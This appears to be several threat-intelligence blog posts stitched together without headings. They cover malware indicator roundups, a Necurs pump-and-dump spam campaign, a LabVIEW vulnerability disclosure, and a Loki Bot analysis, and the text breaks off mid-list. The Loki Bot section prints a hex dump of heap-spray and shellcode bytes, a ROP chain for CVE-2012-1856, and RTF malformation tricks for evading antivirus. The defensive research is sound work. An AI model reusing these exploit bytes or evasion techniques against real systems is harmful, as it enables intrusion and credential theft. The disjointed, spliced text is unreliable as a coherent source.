
Domain Names

• ponmaredimare.top

File Hashes

• 070b14ec00ad9faca340e36b89bd30de2092ce2b8e0e19b336c548e900a59185
• 07fcb3af9fb7b9d0d691676d7a280dc0cbbb89b88b4fa164deacd4cf65081fee
• 09a69c30306cc6fa29a60c921038ad800c198823c920d8fa2da41a4e239c074b
• 2ccbbbfd14237aa7659150cf42a4b937f65c2cab0f076d2338f4e7ba2fa4e56a
• 2f8ddd343edcedd94a2aa768ad925818685bc642b36d02857fdbb48f0787d3b5
• 3315d79fe3de644c07746d0761d9028394725c70ed17a2c1da9373e4fd8e04e0
• 3aa20f9ffd39710b7a415188c08a3be7192341f07595571bb2b562e735d81898
• 3afd65321b17f889778fff1fab48b7238d7f34535811f21a809f5a543d3fead7
• 554f57e7dee6f038eb6d53df1e692d4075d659a06d0830a3baba93ef12a290e5
• 559a42967989df5f0d761bfd0775e303331bbcfa08bf0ad44a360b1363bf4f5d
• 69ccf61cce81afeda495c943fb2942fb42977db696f1e2bda3f70fd31699b459
• 80a427db08abb3a06fef425a9795ff1339a01ec01ab721659f5bd86dff02ee21
• 8172c355647916aeec15bc9285cdf559c87e8c4a4ce84151bfd7e4ff2fec0839
• 88e7d9fbb716abd6a5fcaef71823c71cfe6ecf4eb37a2f2a232f8bc9c8ab8bdb
• 8b1b49374289311298e3f4487940ba524b468550769588f4bb10a8c22791665d
• 8b3244ec2a4635b5a028f71a81282d9d4f85af139063b6aaa593257569993e70
• 8b8567e0cf4b6e810db74985b9e782ebbae34c9d4fcf880ba2b7efa8bc8b829e
• 90a6738734ab7a225e58ce9b373bde7a335aeda409ec3b5803bef8a64bdf0bc5
• 9252876a74596562c63791a3a4d5ecc4afc39ef8a43471b17eefae2777cf07b9
• a8fac0597f4edb4d4a4a72610bf62df20498dc5b429789b405fd255944d9d66c
• ac14a2578eca7575a68c4581fd77601bf0adc5e139d1fa5e468a257ba7863876
• b64cbf393324349974002cb72799464b5af101017911e1a512108a3c674708da
• b7ce841739cdf3a6691be5630195e922dd801d665e5495b54f26cf18c3ff989a
• bb7560cfba2ce80c1e79c239e114ccb6ad4fac0fdaa41d51421630b733bc45a8
• bdf3a30c9796f8d44bbbc45653d9d03388e63a8d0d61a4dd307108a1ebf49b8b
• bff6b0f56fd50918b935478c926ee6fd9ee1bebf24da1c78db0836897aab1def
• c3c4c03761a3b296ef4c62946ae467086a3d6ee9618a36e0d713e14c4fa03c49
• d1062a29aa474a14debd7149d780e9e427acc455f3fd87ce49066c1e7338b368
• d8b945e5adfc9cd90006974df40c28bce50baf046b4603002e229068f2aeeb30
• e330fe11577b0346d4368511a3598a1b84e7c151b959643bacd6ce118f63ebcf
• e7c91fa0582ec2d34d9f7f6cc058773abbf943fc99e48368b18b5c2336ffc91a
• e9c11dfd0127e4347113baab50003ff1cba82c110168da5f930d31a57c1a6368
• e9de9b4f4262d500f372261c915fee93975057b87b977985fe5e048a5f115b3f
• ef3be7348603088c70254a85dee348358b74b7ad2e19e09ae56d1c435373ff9b
• f7b720c688dbf25632bbdb5a5c029a0d790cae3dd422b8e8c0f94ca41b8759aa
• fbf8101890d359612281d87ad69801ec5ecb633d5e455619c64691e1ac1c1bb2

Coverage

Detection Engines

AMP
ThreatGrid
Umbrella
Malware screenshot

---

Win.Trojan.Redirect-6055402-0

Registry keys modified

• <HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS
  • Value name: LoadAppInit_DLLs
  • Old Value: 0
  • New Value: 1
• <HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS
  • Value name: AppInit_DLLs
  • Old Value:
  • New Value: %AllUsersProfile%\Mozilla\[a-z]{7}.dll\\0

Files Created

• %WinDir%\Tasks\[a-z]{7}.job
• %AllUsersProfile%\Mozilla\[a-z]{7}.exe
• %AllUsersProfile%\Mozilla\[a-z]{7}.dll

File Hashes

• 0157b9f5e0501add8d176834aafba15648e4b432de286e23d23ffc34b1b1a2d2
• 01afd34cc1f81a4c5ecff3d4ce643b2b39cf376380d9779238bf9120f9ac811f
• 05b24fa3ee65b437d746d2e23bd6bd4cfb5ec24250f596a62a4bad34529e93d9
• 0751263bbd732b7518aa95136109a83cb697a1ac371e09a882a74445ddda1042
• 091fd8707f15a0194bce66dbfa28c3fbf62f1cc9d6067eb3d5bccba8d81132ad
• 0d0ba24dd2a1bf194157e15ae140eee4f92f23d21d4c27389717a184ee287196
• 2b8b26419a14f51f780ca90e31fc5ec3f457cb401c01c26347b54a1997021be1
• 2e4b1bec4c938ffb316fccf7f6082e724e8e4f862b28f2c7efc54afe53b2808a
• 315a74f15b2d7f7fd827ee320546d318634937e7f5631e5052fce18ae7ef98f5
• 31623af9a40dc03495446986c6b28069cf029c49ba8955ab2e5d71fd3193bf85
• 352fcef98bb1490fe51b5137c52e96dddc0ca040ab6f07d0c9e73a16d79e3f4c
• 4efb833c35236afb69a970a05045d8ca90d5c49ff062d08dfb6b99476cb7434e
• 5423b85ca897c8134b7d4d80638def37af93893dbc64945541dde9639d78dd80
• 58329fa8743b69f32cdf7b720bef4e0003ff4dd131aa233056bc57015c70cc19
• 58d7fe0fff3b01713c0b7ea19222dd8dcaf3b69f7a2f5f9e8790dd458211b695
• 5d85217a675866ed1eb04268e303ea1ef81a85205515cb30c24f0eac41cfc0a1
• 5ef756e9d441a8641d084156908fff471ca395baf378bb4bf05eb95a15a9410b
• 61f67c90b8a12eaa29ec1bb4510d81325336db8d93969bf0198e71f16e0965c9
• 6782a7d484c51abb172274b18c459566e1852c37a8aabc5a123b8f5853111f44
• 88f36546fa348840d6126d4e15b0a6e0829ab967d8d18dc2ae15777c27febb27
• 8ea8e2549758741ab0af003be402b5ea2d26f1fb50ddbbf7c57458585b9de81f
• 999ea3ebb13a2d9bbc95cb21d26ab4efdd67cb6698931fee5eaecbd9f13b6dc3
• aa14043425bae6e1c749787312d305755598996cba2bd0abc7a75cf82b6c37e9
• c181bff4a62c59f1eecfef310af404a2af4c1362a42346aa2e8ea0b9f2066fbb
• c2e993a677086536ea345e61d858c43108134d374d069f33c5cf30105770c3eb
• cda72c562a8a5f48718246a37c0ae695dcbe2e56ef72e60be375472160d853fe
• d87ca352d2a5ecd6245f3762d93d541a9f82633eea7a7214f7384341c82d9eec
• e990487d605cc847d47e50ad1ecb8fd2c970364500e7f2c221ca0987695d4e9d
• f1eff0a071c51ffb44d7a3f4cef90295537e478b9340b4a0b62f143bfbbfe51b
• fbac04e0fc2a3419a0bf039b1576fb9ef60b05ac33c7d665834b7cc167240187

Coverage

Detection Engines

AMP
ThreatGrid

---

Win.Trojan.Zusy-6041926-0

Registry keys created

• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains
  • Value name: 82.146.51.22
  • Value data: 2
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer
  • Value name: Run
  • Value data: C:\WINDOWS\system32\[a-z]{10}.exe

Registry keys modified

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{18DF081C-E8AD-4283-A596-FA578C2EBDC3}
  • Value name: InprocServer32
  • Old Value: -
  • New Value: C:\WINDOWS\system32\rasmsinfo.ocx

Mutex Created

• \BaseNamedObjects\Global\48C56927-A0DB-4e31-8C32-FE15FBA45043

Files Created

• %SystemRoot%\system32\[a-z]{9-11}.exe
• %SystemRoot%\system32\[a-z]{9}.ocx
• %SystemRoot%\system32\[a-z]{10}.exe
• %SystemRoot%\system32\[a-z]{8-10}.exe

IP Addresses

• 82.146.51.22

Domain Names

• N/A

File Hashes

• 83bf2d946bd908ed4124e3c76d508417787d29eb3e6484ac9a61107fe1129efc
• 964274d292c878104f7b6a2ccc35c8a35ea8b496e79d6ddf392453946529f290
• 888c2c6befdd20ba72ddc576c3f27d9ac8882f33a655038118793bb69634097f
• 843fe9e8d238075202cd992fbcd17a23ca0ebcdd653c2ec1fa6768a1112e5046
• 7331d0341ba1f67f29a17877a9bf87e5b18b0195d50e5744b425aa5a717f3497
• 6f3f86b269dfb5636504496cfbb462035f420f82dbe23aa95bc215b0f93c3a30
• b23045f4d9ad9acf9f1810405abb210a47677bde09673b48fbab1d2102fa2629
• 5dc9c97d3a6c7ae4b858b369be84f919f6faef85dd1a056e14cde82b75b3704d
• 34bfec38efca8a19bda8ceb41b1c1040f1a584a16a84b8ce26452808360bf2a1
• 0a6a6797aa917c1b7a9be0389d12d657e6daad9e5e0151af6749889eae11e2e6
• 40553547c962ee0e371590f0160db0482c5bf258fe19bfda81966f1f3fde9a4a
• ed67ad6376f4442b5038844e5f60a3d59cd44f6af1ea541710e76ceda883007c
• e9a5416820dfbb7b87d5ceaa605d7143ee440b5fa3a289bdaff119cb3860c38b
• 2aa410e52a115afaf45727f6235ed3b6b3524e8cb8d6d6e3836949d7a745a8f9
• c4e987a2bd7e9242036a8b19655b030fb3a0fbf81e42e9244fb4b9cfe705628f
• 74708757309b68d06538453d45345fa5507fb9f44e606aceae552e931eea06e5
• f8feec18be72e255f1cd9a461488b3e6c79074255128b165fc3009bcb61b75f9
• 5ed33d729bf23640a61fba70fb7a8a92046c03d08e37eb8ee9ef6676e4a4a6e8
• bef10f8119969479dd93ed0d2c85d0c0666fc055a035b0ddff465afc4a056052

Coverage

Detection Engines

AMP


ThreatGrid

---

Win.Trojan.PasswordStealer

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• \BaseNamedObjects\7CE2238E2413B3A0994E3BB6

Files Read

• %APPADATA%\Mozilla\Firefox\profiles.ini
• %APPADATA%\Google\Chrome\User Data\Default\Login Data
• %APPADATA%\FileZilla\filezilla.xml
• %APPADATA%\FileZilla\sitemanager.xml

Files written

• %APPADATA%\E2413B\B3A099.lck

IP Addresses

• 192.187.114.68

Domain Names

• dohneycompanies.com

File Hashes

• 3d784e22b5d6e13bc87f3c4dccb92167f483544d383b71198d42f1c06b9a3841
• 31852579d4c812bfb3d7c15cb4b37d92a36186b5e1429bc86a0b4857e0f73d38
• bd62403e4b5122dff9d3f12ab4d22455f503fc42f30d816b82d0fe490b466593

Coverage

Detection Engines

AMP
ThreatGrid
Umbrella

---

Doc.Macro.ObfuscatedObj-6059281-0

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• N/A

Files Created

• C:\Users\Administrator\AppData\Local\Temp\scan.exe

IP Addresses

• N/A

Domain Names

• denyalfi.com

File Hashes

• 01f9d4276b16af80bb29dd195d343e1844062f0d86115ec5ace3234cd510b403
• 35be7051a7ca2d7839e7012459a8a94d581e2f0bab10ac400fc9a7ef66a93b44
• 71715f32e3cb54756b39716f8dd33c503eabbb054f4a4e82d5e2b9a9b96ed46f
• a69f4d4eddbd656a6ae061cc001ae245db87eced67015365cca1834179845290
• a78ce0fcb12237b7644257df79105baf39c98b9cb7c545e56c3c7727bac6556f
• d58ef1349fe97173a93d136e4fcb7417606ff7f6a40775553a718c9f631f44b2
• d97dc0515c2067049e1a01094c5b1017ddf7b011f0995be4bec894621c9d338f
• f54a9ac86a9d2b59d99f1e6ff4bfb0d0386efdef8b44b8702576680ca7b0feb8

Coverage

AMP
ThreatGrid


Umbrella 

The post was authored by Sean Baird, Edmund Brumaghin and Earl Carter, with contributions from Jaeson Schultz.

Executive Summary

The Necurs botnet is the largest spam botnet in the world. Over the past year it has been used primarily for the distribution of Locky ransomware and Dridex. Earlier this year, we wrote about how the Necurs botnet went offline and seemingly disappeared, taking most of the high volume Locky malspam with it. Talos recently identified a significant increase in the amount of spam emails originating from the Necurs botnet, indicating that it may have come back to life, but rather than distributing malware in the form of malicious attachments, it appears to have shifted back to penny stock pump-and-dump messages. This is not the first time that Necurs has been used to send high volume pump-and-dump emails. In analyzing previous telemetry data associated with these campaigns, we identified a similar campaign on December 20, 2016 shortly before the Necurs botnet went offline for an extended period. This strategic divergence from the distribution of malware may be indicative of a change in the way that attackers are attempting to economically leverage this botnet.

Detailed Information

On March 20, 2017 we observed a marked increase in the amount of spam messages that appear to be originating from the Necurs botnet. Interestingly, these messages don't appear to follow the same theme that we have grown accustomed to seeing from Necurs, which has been one of the primary distribution mechanisms for the Locky ransomware family and the Dridex banking trojan. Email campaigns associated with Locky and Dridex generally pose as transaction notifications, and purport to contain shipping notifications, ACH transaction notifications, etc. In this particular campaign, the emails do not contain any hyperlinks to malicious servers or any malicious attachments and are simply claiming to be stock market alerts about a specific stock ticker ($INCT) that the messages claim is about to go higher.

The message was structured to entice the user into thinking that this was too good of an opportunity to pass up -- a classic get rich quick scheme. First, the email begins with a simple introduction:

"It's been a long time since I sent you my special newsletter containing a hot stock tip."

It then claims that InCapta Inc ($INCT) is going to be bought out at $1.37 per share by DJI (a drone company) based on information purportedly obtained from colleagues at an M&A firm in Manhattan. The email explains that DJI is moving forward with the buyout because InCapta has:

"revolutionized the drone industry by creating the first independent drones that can be dispatched to areas of interest such as crime scenes, car chases, wild fires, etc."

Furthermore:

"The network of drones operates by connecting to a cloud and complex algorithms efficiently dispatch the drones within moments of an incident being reported."

"This way the media outlet that owns the drones can be the first to the scene and get exclusive, live-streamed."

To add urgency, they mention that the buyout is supposed to be announced on March 28, and recommend setting a buying limit by recommending purchasing before the stock reaches 20 cents a share to guarantee "massive returns." The email adds further urgency by claiming that DJI is going to pay 1000% more than the current value because:

"This has the potential to literally change the world of news broadcasting as we know it and DJI (the most prominent drone-maker in the world) sees the potential of this technology which is why they are willing to pay $1.37 a share to acquire it. A premium of over 1,000% over Friday's closing price."

As is normal when dealing with email campaigns, these messages were sent in relatively high volumes, with tens of thousands seen just over the course of the morning on March 20. In analyzing our email telemetry, we can clearly see a change in the volume of emails being seen versus when Necurs was offline. While the volume of messages was high, the spam campaign itself did not appear to last long at all, with the majority of messages sent over the course of only a couple of hours.

The stock ticker in question appears to be associated with InCapta Inc., a mobile application development company. The stock has seen a significant increase in the volume of shares being traded. While analyzing this particular spam campaign, we observed that the volume of shares being traded reached over 1 million shares (the total later in the day was over 4.5 million shares), which is exponentially higher than the average volume of shares traded.

Shortly after analyzing this initial campaign, we observed a second higher volume spam campaign within our SpamCop telemetry.

Interestingly enough, the stock price also increased around the time this second wave of spam emails was being sent. This second email campaign was very similar to the first but contained a slightly different subject and message body:

Historical Necurs Campaigns

On September 21, 2016, Talos published a blog post outlining the "Rising Tides of Spam" which detailed the increase of spam emails sent by Necurs in the summer of 2016. These emails often carried Dridex or Locky malware variants, delivering millions of messages per day to inboxes around the globe.

In late December, 2016, however, this email flow suddenly stopped, and email volume reduced to less than half of the flow typical of Necurs infrastructure. During this downtime, our spam block lists have been averaging 50K addresses. The addresses being blocked spiked to over 150K during these new campaigns. This spike is reflected in the email volume from March 20, 2017, discussed earlier and displayed in the graph below.

But does Necurs have a history of sending pump-and-dump spam? Prior to the arrests in early 2016 which led to a quiet period of low botnet activity, Necurs had often sent different pump-and-dump stock scams. Just before this most recent downtime began, we saw a moderate amount of pump-and-dump scam email volume coming through our data sources on December 20, 2016. These scam messages urged recipients to buy $SWRM and had email subjects similar to the following:

• "Read Now if you want a stock that will more than double by Christmas."
• "This stock will quadruple before Christmas. Time to buy now!"

This December 20 campaign shares headers and attributes similar to the March 20 campaign, indicating that the December 20 campaign was also facilitated by the Necurs botnet. One such attributes is the X-PHP-Originating-Script header found in emails from the pump-and-dump campaigns.

• X-PHP-Originating-Script: 1001:Sendmail.php

This header does not exist in the emails sent during the massive 2016 malware campaigns that were distributing Locky and Dridex however, revealing behind-the-scenes differences between Necurs' services and infrastructure. On the other hand, both of these campaign types share common recipients, hinting at the fact that Necurs operators may use a shared database of email addresses even when clients request different services.

Conclusion

Necurs is a good example of how over time attackers may change their methodologies as well as the strategies they use to monetize systems under their control. Botnets like Necurs represent one vector that Talos continues to monitor for activity and changes in attack techniques. As threats continue to change and evolve, Talos will continue to monitor the evolving threat landscape to ensure that our customers remain protected against any new threats.

Talos will continue to monitor the Necurs botnet for signs that it has once again been activated, for whatever purposes it may be used.

Coverage

Additional ways our customers can detect and block this threat are listed below.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Overview

LabVIEW is a system design and development platform released by National Instruments. The software is widely used to create applications for data acquisition, instrument control and industrial automation. Talos is disclosing the presence of a code execution vulnerability and a memory corruption vulnerability which can be triggered by opening specially crafted VI files, the proprietary file format used by LabVIEW.

TALOS-2017-0269 memory corruption vulnerability (CVE-2017-2775)

When processing the 'LastSavedTarget' segment of an input VI file, four bytes are read which are used for a loop condition to clear chunks of the heap structure internal to labView. If the LvVarientUnflatten function is supplied, with an invalid loop terminator, an attacker could clear internal heap chunks potentially leading to remote code execution.

Full details are available here.

Known vulnerable versions: LabVIEW 2016 version 16.0

Discussion

Exploiting vulnerabilities in specialist file formats may be useful to attackers who are seeking to target specific individuals and systems within an organisation. Like all attacks, a vulnerability can only be exploited on systems on which the vulnerable software is present. Since LabVIEW is widely used in the automation of data acquisition and control systems, an attacker who successfully exploits a LabVIEW vulnerability may be able to gain a toehold on a device controlling a physical system.

Organizations using this and similar software to control physical systems need to bear in mind the possibility of attackers exploiting vulnerabilities in control software to gain access to physical systems. Equally, organizations should remember that proprietary file formats do not protect against software vulnerabilities. Even in the absence of a published file format specification vulnerabilities triggered by malicious files may still be discovered.

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rules: 41370-41371

This post is authored by Paul Rascagneres with contributions from Alex McDonnell

Executive Summary

Talos has discovered a new spam campaign used to infect targets with the well known Loki Bot stealer. The infection vector is an RTF document abusing an old exploit (CVE-2012-1856), however the most interesting part is the effort put into the generation of the RTF. The document contains several malformations designed to defeat security engines and parsers. The attacker has gone out of their way to attempt to evade content inspection devices like AV or network security devices. According to VirusTotal, the initial detection rate of a malicious RTF document recovered from a recent spam campaign is only 3 out of 45 available engines.

Despite the known vulnerability, many security products fail to identify the exploit because they are unable to correctly classify the RTF file format and scan the embedded OLE document within in the RTF. Even open-source parsers such as rtfobj.py from oletools have difficulties extracting the embedded OLE:


This article explains how the malware author modified the RTF file in order to bypass security protection and frustrate malware researchers.

Spam example

The spam campaign contains different kinds of emails. Many emails consist of a common "Invoice" attachment, but some emails are more advanced, as we can see in this example:

Malformed RTF

The analysed sample illustrated in the article has a SHA256 of 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f.

RTF reminder

The RTF format is a proprietary file format developed by Microsoft. In our case, we are mainly concerned by the {\objdata HEXA} subpart of an "Object". This data block permits the inclusion of an OLE object within a RTF document. The data is represented as the hexadecimal value of the OLE, for example:

{\objdata  
dde00000
00000000
00000000
576f726400446f63756d656e74003132
00000000
00000000
00c20000
d0cf11e0a1b11ae1000000000000000000000000000000003e00 … }

Modification of the file header

The first modification in the RTF document is the header. If we refer to the Microsoft documentation, a RTF document should start by "{\rtN" where N is the version of RTF. Here is the header of the malicious RTF:


The document does not contain a valid version and additionally, it includes the header of a PNG image. The consequence of this trick is that some tools are not able to detect the file type correctly:

Adding ignored hexadecimal value

The second tweak implemented by the author is adding ignored hexadecimal values. For example, in the following snippet, we can see additional 0x0d (CR - carriage return) characters included.



Microsoft will simply ignore this non-ASCII characters. In our example, the final value will be "000000105000000000".

Adding Ignored Characters

Additionally, the malware author adds ignored ASCII characters in the document



In this example the ".}" and "}" values will be ignored by Office. However, third party parsers could recognize the characters as the end of the data and truncate the OLE.

Exploit & Malware

The embedded OLE object contains a document in Microsoft OOXML format. The ActiveX XML files included in the OOXML document help identify the vulnerability:


The classid 1EFB6596-857C-11D1-B16A-00C0F0283628 matches the MSCOMCTL TabStrip control component, the vulnerable component of CVE-2012-1856.

The exploit is a classic heap spray located in a binary blob:

00000cf0  cc cc cc cc eb 51 36 7c  eb 51 36 7c 02 2b 37 7c  |.....Q6|.Q6|.+7||
00000d00  01 02 00 00 64 43 34 7c  40 00 00 00 28 1a 35 7c  |....dC4|@...(.5||
00000d10  c7 0f 39 7c 9e 2e 34 7c  0f a4 34 7c dc 50 36 7c  |..9|..4|..4|.P6||
00000d20  a3 15 34 7c 97 7f 34 7c  51 a1 37 7c 4d 8c 37 7c  |..4|..4|Q.7|M.7||
00000d30  30 5c 34 7c90 90 90 90  90 90 90 90 90 90 90 90  |0\4|............|
00000d40  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000d50  e9 1f 01 00 00 cc cc cc  cc cc cc cc cc cc cc cc  |................|
00000d60  cc cc cc cc cc cc cc cc  cc cc cc cc cc cc cc cc  |................|
*
00000e50  c3 6f 37 7c c3 6f 37 7c  c3 6f 37 7c c3 6f 37 7c  |.o7|.o7|.o7|.o7||
*
00000e70  90 90 90 90 90 90 90 90  d9 eb 9b d9 74 24 f4 5d  |............t$.]|
00000e80  8d 4d 17 ba 47 01 00 00  80 31 12 41 4a 75 f9 23  |.M..G....1.AJu.#|
00000e90  db 76 99 63 22 99 64 1e  99 64 1e bf 99 22 99 64  |.v.c".d..d...".d|
00000ea0  0a 9b e4 f9 4b 72 9b ef  9b e1 44 99 61 2e 99 66  |....Kr....D.a..f|
00000eb0  0c 6a 13 cc 44 99 64 32  13 cc 23 db 5b 53 bf 13  |.j..D.d2..#.[S..|
00000ec0  ca 44 23 e4 1d ac 02 2a  c4 66 1a d3 dc 15 13 c4  |.D#....*.f......|
00000ed0  52 f9 e3 2b 67 12 4c 67  f6 48 9b cd 99 48 36 13  |R..+g.Lg.H...H6.|
00000ee0  e9 74 99 1e 59 99 48 0e  13 e9 99 16 99 13 ea 9b  |.t..Y.H.........|

The code highlighted in blue is the ROP Chain previously documented here.

0x7c3651eb # pop ebp # ret
0x7c3651eb # skip 4 bytes
0x7c372b02 # pop ebx # ret
0x00000201 # 0x201 -> ebx
0x7c344364 # pop edx # ret
0x00000040 # 0x40 -> edx
0x7c351a28 # pop ecx # ret
0x7c390fc7 # &Writable location -> ecx
0x7c342e9e # pop edi # ret
0x7c34a40f # ret -> edi
0x7c3650dc # pop esi # ret
0x7c3415a3 # jmp dword ptr [eax] -> esi
0x7c347f97 # pop eax # ret
0x7c37a151 # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d # pushad # add al,0EFh # ret
0x7c345c30 # push esp # ret

The code highlighted in red is the NOP sled followed by a jump (orange) to the shellcode (bold):



The purpose of the shellcode is:

• to decode an executable embedded in the document;
• to drop it into %APPDATA%\7B4331\1C8BBC.exe;
• to execute it.

The binary is a Loki Bot stealer communicating with the command and control domain paneltestghelp.xyz. Here is a screenshot of the network connection to the CC:

Conclusion

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella,  our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

IOCs

Networks:

• hxxp://paneltestghelp.xyz:80/eval/server/readonly/fre.php

SHA256 of the dropped executables:

• da1a6747a3329c3a317d4bd7ecf029e89bd76192075f84834563103a54bac968
• 2e65f8fc7901505dd4225ec66cca0ef308f2b6fbe48d37f5055775854bf7a5f8
• a3c3abcd461d00e1f928e375770e39e3a33f719d7287a2fee661d82ce8de1c56

SHA256 of malicious samples with similar malformations of the RTF file format:

• 7b684ad97bb9f5093e5cfb100352ad2f0ec3dfce63232207daf0aa736d6438c9
• 14a6e04a60b1bb5f4d0fb3fffa240b7b34bf9c0b8504da19caeb31182510c139
• 1ae6aa92ce8ee9a2ab78631663fa5a9bdcc14490c4c5fe799b41d26455b5b696
• 4f2c10b64d4f4b56d56b5a271331c92484b6ddf8c4eb9f56669ed60545a4c06d
• b1da2cb4fcee52cdc94c06325c339ac11a3fb1e399e1ed5a2a55107f5f64867f
• 41c4483cfcc0b5a10504aa137ec3824d139663b7ec318d5e1fb6c9f5db8af8f9
• f07f87ab68482d329eeac5525ea5f189bcd720d2b2d149db61ab81ae04be957a
• be81741ae3c7c2c5000785a2573c901068a2906054690ac22119ac794aa9e8e2
• cd16e420fbc39b63de93198cdb1265c1bfe83119c7d4d75d5501465cdd0847f1
• b330fadeb337e9fb5aa9f8046462e3d1d418946fd6237bc252a80a2d4fb2fff7
• 629d1afbedd7cc082549d5c3fc3926b6b4e55abc3c07f8d994a791893a2fd530
• 9f48ce01ac99033c03e9aa983c09fa273eae0e168e55de8cc364311ae4fc88b9
• dd783bcdbc81bc605cf07545a01273596d4e51b198874253815069cd6708b2fa
• 59011fa80db84cea54bc6ec7f7bc689d916f04e8df9950b259ad524142225731
• 7aa0abedd75c46680ac65814d9433a04bb9f6bc6f094d66cc33a918f32dcb2fa
• ad3af8a7ab469fa930d0873475214c3160f52b17c06f296d6ce9cc6fc92e8a79
• 89a1264bd7facf02d48aff46724a0215c2fb1974d06451cebefdb2ea7ea9a71a
• c53bf11adb48a00393c30a0902716e0088f650750349f5966ba3b60a0fa17487
• 4a7d6c770c5fdbb32534b535efe0324e3bc25a8bcd3551b7fe0ff3610ee81299
• 6077c3ed4dc67526f89b2c59fc16b389530a73b326f63fff17ae7c824b7770fd
• 11836837753c754997adf8ccf4fa8ba824e57725f56fbcd3b0d903e1fa30ac5b
• 737d1468b20dc39300bc2be38285b6482940d2be9ae59b7dc984cf4dc6d82053
• 415b9e72811cd7c50366d9c9038df02fe3bbfc6446ef42b099d85ea576fbd35d
• 84a2ded87681e65be35994ea26f4b2287e52438bbeebaac784c291196a6f94c6
• 9c62f4947a572356f43f71fb55f2b702b78c2e1688c67eff89c36da50137ed21
• c201e4bb7b68b4655ab7ac85c8a7c93abe2238ec3d24914d86e8a543b6c6abbd
• 17ae8d128938131ebc944f5d77be7009fd05c8831f88ef3558cc9c00f0633f97
• dbc97df1e5036ac572d8a247a6b073ab1f1dabd20676443598135c6743534028
• 79316e4c2601a5721d5d6ada0f152790ad44aa9ac5badf17e12c7825fb1f46aa
• a406f0208c914ff28f8e30eda539acb6abd23bbdecf704be4b77615a27f62e8d
• 552fe8b5fd175822d4479552078331dbfb16881fea9514377a802f3cce87ac02
• 27290fd934092cf1ca2a242e6847665a16771376af8f5c81ef1c851463e77709
• 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f
• a0e529ed847b78fd68a871688a7e99e6abc87295c671a3e2d02a61a1e04f5ce9
• 5c1db6ce5989645bbc8cb8489dee2fb99eba7b4093eaad96cd5a6c692a53c245
• c343e92d30c1374c631efa8cf612faf5567e8bd66330e1ff58ac9296c3373304
• ecc9526b380bd109dbcb3d9c4635c1866234d302658758d6ecf4e927a12af9a1
• 450b2d6741a452d3bff491fb3a40ec8e29cbaf24fb1b400863efe1a7f920543e
• 99a3939d654e4c424dcf33fbc18c7568d1030981ad1ae8f2a6da2966efbff669
• e7fc4527e4cb65e05069b871e06226ce9c9669649ed9cfbad2dcb41cdd9fe94c
• 1d73428619f69cbdfc5158f1682cc304ba6af2a0b425244bcd8c2c432d4a50d7
• cbb58841ef2179e52fcfb918d085503ccf4482014fa1f0714e11fd667de974a0
• 44583aca68ce734bccc79d28f666bdc81a1436c257f035875df15a82f35e6910
• 5872ec86add4892f061cc1fd2478da098645876d0b13d3ce3e789f526c5b8ec8
• 9eb85367bd59854ccd7b8e13a22deec92bbe746a5de83820d7265055f96da40f
• 6d33cd5b7cfcc4a55583adbf75f578d71d6aa572e93c5a7392ece4dc8204d0f8
• 4d46087599b246cd297883341859561b3b1794419c704b167a28c7891ff5d7b1
• 7c5337250b6a1ede2472e4acc74366e8a425eaf2c36e3805d36200ad560d0feb
• bc4f30177538628f93d57ae1e59859c50409afefe133956ec801c040ab9253f5
• 726f170f13b9a24d409c0c4fbf0a14aff0f3cd1662762230bfaf7a8822257880
• 885877989df73bafd087f7c689eedfa5e2fe3620ab62d6ff57a3394702761751
• 9f40662ebbd3a848219aa47c149c174c292cea5e62dcc0bd26f12e1bf5ba7d7c
• 0882c8a38ca485fe9763b0c0c7c5a22c330cebe86101a9e1ffa5a70c4f58faac
• 156cbbb25240e246a2340e1bca1692b7110277bac30f76dcacd48dd5f2042caa
• a28c3c075ecfb982e6e3cb237c0eab1308f023e7bcf207d0fd1f2b4f29791074
• e5de4a14367d1a7b599d7afae07aa66c63941238ff25f4f17dea54db6d8ac350
• 5d6b52287f4fdefe0621d9fadd83b0531f56811937b023ce49e426e320b372f5
• 599a60601345bf8fc05f27d35f3c3f2ed80b6e7890d5f33a57f75c09a089356a
• 194549b3fd0be8a701b8433db1b2cff396a4492c342632fa22d6af89570eff46
• 673f9469ff150c8c821ea3b5b1cda8175d09719fbd7d1359d334dbf17f74adbe
• f81be30a7d6792e59f5a0ade225472042c9eb9bf59b03f67e85b0642c16e59ce
• 5957fe5e38f2b2530569e21f040a92b1fb36816b6d5187d8a0ecf0ba84f36519
• 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f

This week's most prevalent threats are:

• Win.Trojan.Bladabindi-6016609-0
  This threat is a combination of backdoor and credential stealer. The executable is .Net bytecode, which is obfuscated with differing obfuscators. Once activated, the malware will open a firewall port to allow its creator to connect to the infected machine.
• Win.Trojan.VBTrojan3-6118226-0
  This family attempts to infect connected USB drives by creating an autorun.inf file and copying itself to numerous locations on the drive with names such as “Secret.exe”, “Porn.exe”, “Sexy.exe”, or “Passwords.exe”. It will also disable Windows Update, copy itself under %USERPROFILE%, and configure itself to run at startup. It will contact the C&C server to receive further instructions.
• Win.Downloader.Gen-6115940
